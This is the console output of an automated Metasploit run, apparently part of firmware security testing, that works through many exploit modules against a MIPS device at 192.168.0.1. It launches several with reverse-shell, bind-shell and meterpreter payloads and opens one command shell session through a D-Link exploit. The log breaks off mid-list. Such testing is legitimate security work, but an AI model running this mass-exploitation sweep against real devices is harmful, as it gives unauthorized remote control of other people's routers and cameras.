[*] Processing ./helpers/l35_msf_check.rc for ERB directives.
[*] resource (./helpers/l35_msf_check.rc)> Ruby Code (7022 bytes)
[*] Starting Metasploit analysis ...
[*] Ports: 23,49152,53,80
[*] Host: 192.168.0.1
[*] ARCH: mips
[*] Checking host 192.168.0.1 with identified ports 23,49152,53,80...
[*] Checking freebsd/http/citrix_dir_traversal_rce against host 192.168.0.1:80 ...
[*] Check code for freebsd/http/citrix_dir_traversal_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable.", reason=nil, details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for freebsd/http/citrix_dir_traversal_rce
[*] Checking freebsd/http/junos_phprc_auto_prepend_file against host 192.168.0.1:80 ...
[*] Check code for freebsd/http/junos_phprc_auto_prepend_file: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Environment variable manipulation failed indicating this target is not vulnerable.", reason="Environment variable manipulation failed indicating this target is not vulnerable.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for freebsd/http/junos_phprc_auto_prepend_file
[*] Checking freebsd/misc/citrix_netscaler_soap_bof against host 192.168.0.1:80 ...
[*] Check code for freebsd/misc/citrix_netscaler_soap_bof: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Citrix NetScaler SOAP endpoint not detected", reason="Citrix NetScaler SOAP endpoint not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for freebsd/misc/citrix_netscaler_soap_bof
[*] Checking freebsd/telnet/telnet_encrypt_keyid against host 192.168.0.1:23 ...
[-] This module does not support check.
[*] Exploiting freebsd/telnet/telnet_encrypt_keyid against host 192.168.0.1:23 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking freebsd/webapp/spamtitan_unauth_rce against host 192.168.0.1:80 ...
[*] Exploiting freebsd/webapp/spamtitan_unauth_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/advantech_switch_bash_env_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/advantech_switch_bash_env_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/advantech_switch_bash_env_exec
[*] Checking linux/http/airties_login_cgi_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/airties_login_cgi_bof: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/airties_login_cgi_bof against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/aitemi_m300_time_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/aitemi_m300_time_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No identifiable fingerprint found", reason="No identifiable fingerprint found", details={}, vuln={}>
[*] Exploiting linux/http/aitemi_m300_time_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/astium_sqli_upload against host 192.168.0.1:80 ...
[*] Check code for linux/http/astium_sqli_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/astium_sqli_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/avideo_encoder_getimage_cmd_injection against host 192.168.0.1:80 ...
[*] Check code for linux/http/avideo_encoder_getimage_cmd_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. getImage.php returned HTTP 404", reason="getImage.php returned HTTP 404", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/avideo_encoder_getimage_cmd_injection
[*] Checking linux/http/axis_app_install against host 192.168.0.1:80 ...
[*] Check code for linux/http/axis_app_install: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/axis_app_install against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/axis_srv_parhand_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/axis_srv_parhand_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/axis_srv_parhand_rce
[*] Checking linux/http/bludit_upload_images_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: BLUDITUSER, BLUDITPASS.
[*] Exploiting linux/http/bludit_upload_images_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/cayin_cms_ntp against host 192.168.0.1:80 ...
[*] Check code for linux/http/cayin_cms_ntp: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Could not connect to the web service, check URI Path and IP", reason="Could not connect to the web service, check URI Path and IP", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/cayin_cms_ntp
[*] Checking linux/http/centreon_pollers_auth_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/centreon_pollers_auth_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/centreon_sqli_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/centreon_sqli_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/centreon_sqli_exec
[*] Checking linux/http/centreon_useralias_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/centreon_useralias_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/centreon_useralias_exec
[*] Checking linux/http/chamilo_bigupload_webshell against host 192.168.0.1:80 ...
[*] Check code for linux/http/chamilo_bigupload_webshell: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target", reason="The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/chamilo_bigupload_webshell
[*] Checking linux/http/chamilo_unauth_rce_cve_2023_34960 against host 192.168.0.1:80 ...
[*] Check code for linux/http/chamilo_unauth_rce_cve_2023_34960: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. No valid response received from the target.", reason="No valid response received from the target.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/chamilo_unauth_rce_cve_2023_34960
[*] Checking linux/http/cisco_hyperflex_file_upload_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/cisco_hyperflex_file_upload_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/cisco_hyperflex_file_upload_rce
[*] Checking linux/http/cisco_hyperflex_hx_data_platform_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/cisco_hyperflex_hx_data_platform_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
[*] Checking linux/http/craftcms_ftp_template against host 192.168.0.1:80 ...
[*] Check code for linux/http/craftcms_ftp_template: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/craftcms_ftp_template
[*] Checking linux/http/craftcms_preauth_rce_cve_2025_32432 against host 192.168.0.1:80 ...
[*] Check code for linux/http/craftcms_preauth_rce_cve_2025_32432: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not retrieve session & CSRF", reason="Could not retrieve session & CSRF", details={}, vuln={}>
[*] Exploiting linux/http/craftcms_preauth_rce_cve_2025_32432 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/crypttech_cryptolog_login_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/crypttech_cryptolog_login_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/crypttech_cryptolog_login_exec
[*] Checking linux/http/ddwrt_cgibin_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/ddwrt_cgibin_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/dlink_authentication_cgi_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_authentication_cgi_bof: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/dlink_authentication_cgi_bof against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_command_php_exec_noauth against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dlink_command_php_exec_noauth against host 192.168.0.1:80 ...
[*] Payload selected: cmd/unix/interact
[*] Command shell session 1 opened (192.168.0.2:34981 -> 192.168.0.1:56970) at 2026-10-19 03:24:19 +0000
[+] Vulnerability identified for module linux/http/dlink_command_php_exec_noauth - 192.168.0.1:80
[+] Session state #<Msf::Sessions::CommandShell:0x00007f30586fbff0> for module linux/http/dlink_command_php_exec_noauth - 192.168.0.1:80
[*] Checking linux/http/dlink_dcs931l_upload against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_dcs931l_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/dlink_dcs931l_upload
[*] Checking linux/http/dlink_dcs_930l_authenticated_remote_command_execution against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dlink_dcs_930l_authenticated_remote_command_execution against host 192.168.0.1:80 ...
[*] Payload selected: cmd/unix/interact
[*] Checking linux/http/dlink_diagnostic_exec_noauth against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dlink_diagnostic_exec_noauth against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/dlink_diagnostic_exec_noauth job ID for target 192.168.0.1 is: 0
[*] Checking linux/http/dlink_dir300_exec_telnet against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dlink_dir300_exec_telnet against host 192.168.0.1:80 ...
[*] Payload selected: cmd/unix/interact
[*] Checking linux/http/dlink_dir605l_captcha_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_dir605l_captcha_bof: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not a vulnerable DIR-605L", reason="The target is not a vulnerable DIR-605L", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/dlink_dir605l_captcha_bof
[*] Checking linux/http/dlink_dir615_up_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dlink_dir615_up_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/dlink_dir615_up_exec job ID for target 192.168.0.1 is: 1
[*] Checking linux/http/dlink_dir850l_unauth_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_dir850l_unauth_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/dlink_dir850l_unauth_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_dsl2750b_exec_noauth against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_dsl2750b_exec_noauth: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/dlink_dsl2750b_exec_noauth
[*] Checking linux/http/dlink_dspw110_cookie_noauth_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_dspw110_cookie_noauth_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/dlink_dspw110_cookie_noauth_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_dspw215_info_cgi_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_dspw215_info_cgi_bof: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/dlink_dspw215_info_cgi_bof against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_dwl_2600_command_injection against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dlink_dwl_2600_command_injection against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_hedwig_cgi_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_hedwig_cgi_bof: #<struct Msf::Exploit::CheckCode code="detected", message="The service is running, but could not be validated. The target service was detected", reason="The target service was detected", details={}, vuln={}>
[*] Exploiting linux/http/dlink_hedwig_cgi_bof against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_hnap_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_hnap_bof: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/dlink_hnap_bof against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_hnap_header_exec_noauth against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_hnap_header_exec_noauth: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/dlink_hnap_header_exec_noauth against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dlink_hnap_login_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/dlink_hnap_login_bof: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/dlink_hnap_login_bof
[*] Checking linux/http/dlink_upnp_exec_noauth against host 192.168.0.1:49152 ...
[*] Check code for linux/http/dlink_upnp_exec_noauth: #<struct Msf::Exploit::CheckCode code="detected", message="The service is running, but could not be validated. The target service was detected", reason="The target service was detected", details={}, vuln={}>
[*] Exploiting linux/http/dlink_upnp_exec_noauth against host 192.168.0.1:49152 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/dnalims_admin_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/dnalims_admin_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/dnalims_admin_exec
[*] Checking linux/http/dolibarr_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/dolibarr_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/dolibarr_cmd_exec
[*] Checking linux/http/dreambox_openpli_shell against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/dreambox_openpli_shell against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/elfinder_archive_cmd_injection against host 192.168.0.1:80 ...
[*] Check code for linux/http/elfinder_archive_cmd_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Failed to detect elFinder", reason="Failed to detect elFinder", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/elfinder_archive_cmd_injection
[*] Checking linux/http/esva_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/esva_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/esva_exec
[*] Checking linux/http/flir_ax8_unauth_rce_cve_2022_37061 against host 192.168.0.1:80 ...
[*] Check code for linux/http/flir_ax8_unauth_rce_cve_2022_37061: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Failed to test command injection.", reason="Failed to test command injection.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/flir_ax8_unauth_rce_cve_2022_37061
[*] Checking linux/http/fritzbox_echo_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/fritzbox_echo_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/fritzbox_echo_exec
[*] Checking linux/http/froxlor_log_path_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/froxlor_log_path_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Failed to retrieve version info from /froxlor/lib/ajax.php?action=updatecheck&theme=Froxlor", reason="Failed to retrieve version info from /froxlor/lib/ajax.php?action=updatecheck&theme=Froxlor", details={}, vuln={}>
[*] Exploiting linux/http/froxlor_log_path_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/geutebruck_cmdinject_cve_2021_335xx against host 192.168.0.1:80 ...
[*] Check code for linux/http/geutebruck_cmdinject_cve_2021_335xx: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target did not respond with a valid XML response that we could retrieve the version from!", reason="Target did not respond with a valid XML response that we could retrieve the version from!", details={}, vuln={}>
[*] Exploiting linux/http/geutebruck_cmdinject_cve_2021_335xx against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/geutebruck_instantrec_bof against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/geutebruck_instantrec_bof against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/geutebruck_testaction_exec against host 192.168.0.1:80 ...
[*] Exploiting linux/http/geutebruck_testaction_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/gitlist_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/gitlist_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/gitlist_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/glpi_htmlawed_php_injection against host 192.168.0.1:80 ...
[*] Check code for linux/http/glpi_htmlawed_php_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Failed to retrieve htmLawed page", reason="Failed to retrieve htmLawed page", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/glpi_htmlawed_php_injection
[*] Checking linux/http/grandstream_gxp1600_unauth_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/grandstream_gxp1600_unauth_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected response code 404", reason="Unexpected response code 404", details={}, vuln={}>
[*] Exploiting linux/http/grandstream_gxp1600_unauth_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
[*] Checking linux/http/gravcms_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/gravcms_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/gravcms_exec
[*] Checking linux/http/groundwork_monarch_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/groundwork_monarch_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/groundwork_monarch_cmd_exec
[*] Checking linux/http/hikvision_cve_2021_36260_blind against host 192.168.0.1:80 ...
[*] Check code for linux/http/hikvision_cve_2021_36260_blind: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target doesn't appear to be a Hikvision device", reason="The target doesn't appear to be a Hikvision device", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/hikvision_cve_2021_36260_blind
[*] Checking linux/http/huawei_hg532n_cmdinject against host 192.168.0.1:80 ...
[*] Check code for linux/http/huawei_hg532n_cmdinject: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/huawei_hg532n_cmdinject against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/huawei_hg532n_cmdinject job ID for target 192.168.0.1 is: 2
[*] Checking linux/http/hustoj_problem_import_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/hustoj_problem_import_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/ictbroadcast_unauth_cookie against host 192.168.0.1:80 ...
[*] Check code for linux/http/ictbroadcast_unauth_cookie: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/ictbroadcast_unauth_cookie
[*] Checking linux/http/ispconfig_lang_edit_php_code_injection against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting linux/http/ispconfig_lang_edit_php_code_injection against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/kaltura_unserialize_cookie_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/kaltura_unserialize_cookie_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/kaltura_unserialize_cookie_rce
[*] Checking linux/http/kaltura_unserialize_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/kaltura_unserialize_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/kaltura_unserialize_rce
[*] Checking linux/http/lexmark_faxtrace_settings against host 192.168.0.1:80 ...
[*] Check code for linux/http/lexmark_faxtrace_settings: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target does not seem to be vulnerable", reason="The target does not seem to be vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/lexmark_faxtrace_settings
[*] Checking linux/http/librenms_addhost_cmd_inject against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/librenms_addhost_cmd_inject against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/librenms_authenticated_rce_cve_2024_51092 against host 192.168.0.1:80 ...
[*] Check code for linux/http/librenms_authenticated_rce_cve_2024_51092: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. LibreNMS is not detected.", reason="LibreNMS is not detected.", details={}, vuln={}>
[*] Exploiting linux/http/librenms_authenticated_rce_cve_2024_51092 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/librenms_collectd_cmd_inject against host 192.168.0.1:80 ...
[*] Check code for linux/http/librenms_collectd_cmd_inject: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/librenms_collectd_cmd_inject
[*] Checking linux/http/linear_emerge_unauth_rce_cve_2019_7256 against host 192.168.0.1:80 ...
[*] Check code for linux/http/linear_emerge_unauth_rce_cve_2019_7256: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not affected by this vulnerability.", reason="Target is not affected by this vulnerability.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/linear_emerge_unauth_rce_cve_2019_7256
[*] Checking linux/http/linksys_apply_cgi against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/linksys_apply_cgi against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/linksys_e1500_apply_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/linksys_e1500_apply_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/linksys_e1500_apply_exec job ID for target 192.168.0.1 is: 3
[*] Checking linux/http/linksys_themoon_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/linksys_themoon_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/linksys_themoon_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/linksys_wrt110_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/linksys_wrt110_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/linksys_wrt110_cmd_exec
[*] Checking linux/http/linksys_wrt160nv2_apply_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/linksys_wrt160nv2_apply_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/linksys_wrt54gl_apply_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/linksys_wrt54gl_apply_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/linksys_wrt54gl_apply_exec job ID for target 192.168.0.1 is: 4
[*] Checking linux/http/linksys_wvbr0_user_agent_exec_noauth against host 192.168.0.1:80 ...
[*] Check code for linux/http/linksys_wvbr0_user_agent_exec_noauth: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/linksys_wvbr0_user_agent_exec_noauth
[*] Checking linux/http/linuxki_rce against host 192.168.0.1:80 ...
[*] Exploiting linux/http/linuxki_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/logsign_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/logsign_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/logsign_exec
[*] Checking linux/http/magento_xxe_to_glibc_buf_overflow against host 192.168.0.1:80 ...
[*] Check code for linux/http/magento_xxe_to_glibc_buf_overflow: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).", reason="Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/magento_xxe_to_glibc_buf_overflow
[*] Checking linux/http/magnusbilling_unauth_rce_cve_2023_30258 against host 192.168.0.1:80 ...
[*] Check code for linux/http/magnusbilling_unauth_rce_cve_2023_30258: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Likely not a magnusbilling application.", reason="Likely not a magnusbilling application.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/magnusbilling_unauth_rce_cve_2023_30258
[*] Checking linux/http/majordomo_cmd_inject_cve_2023_50917 against host 192.168.0.1:80 ...
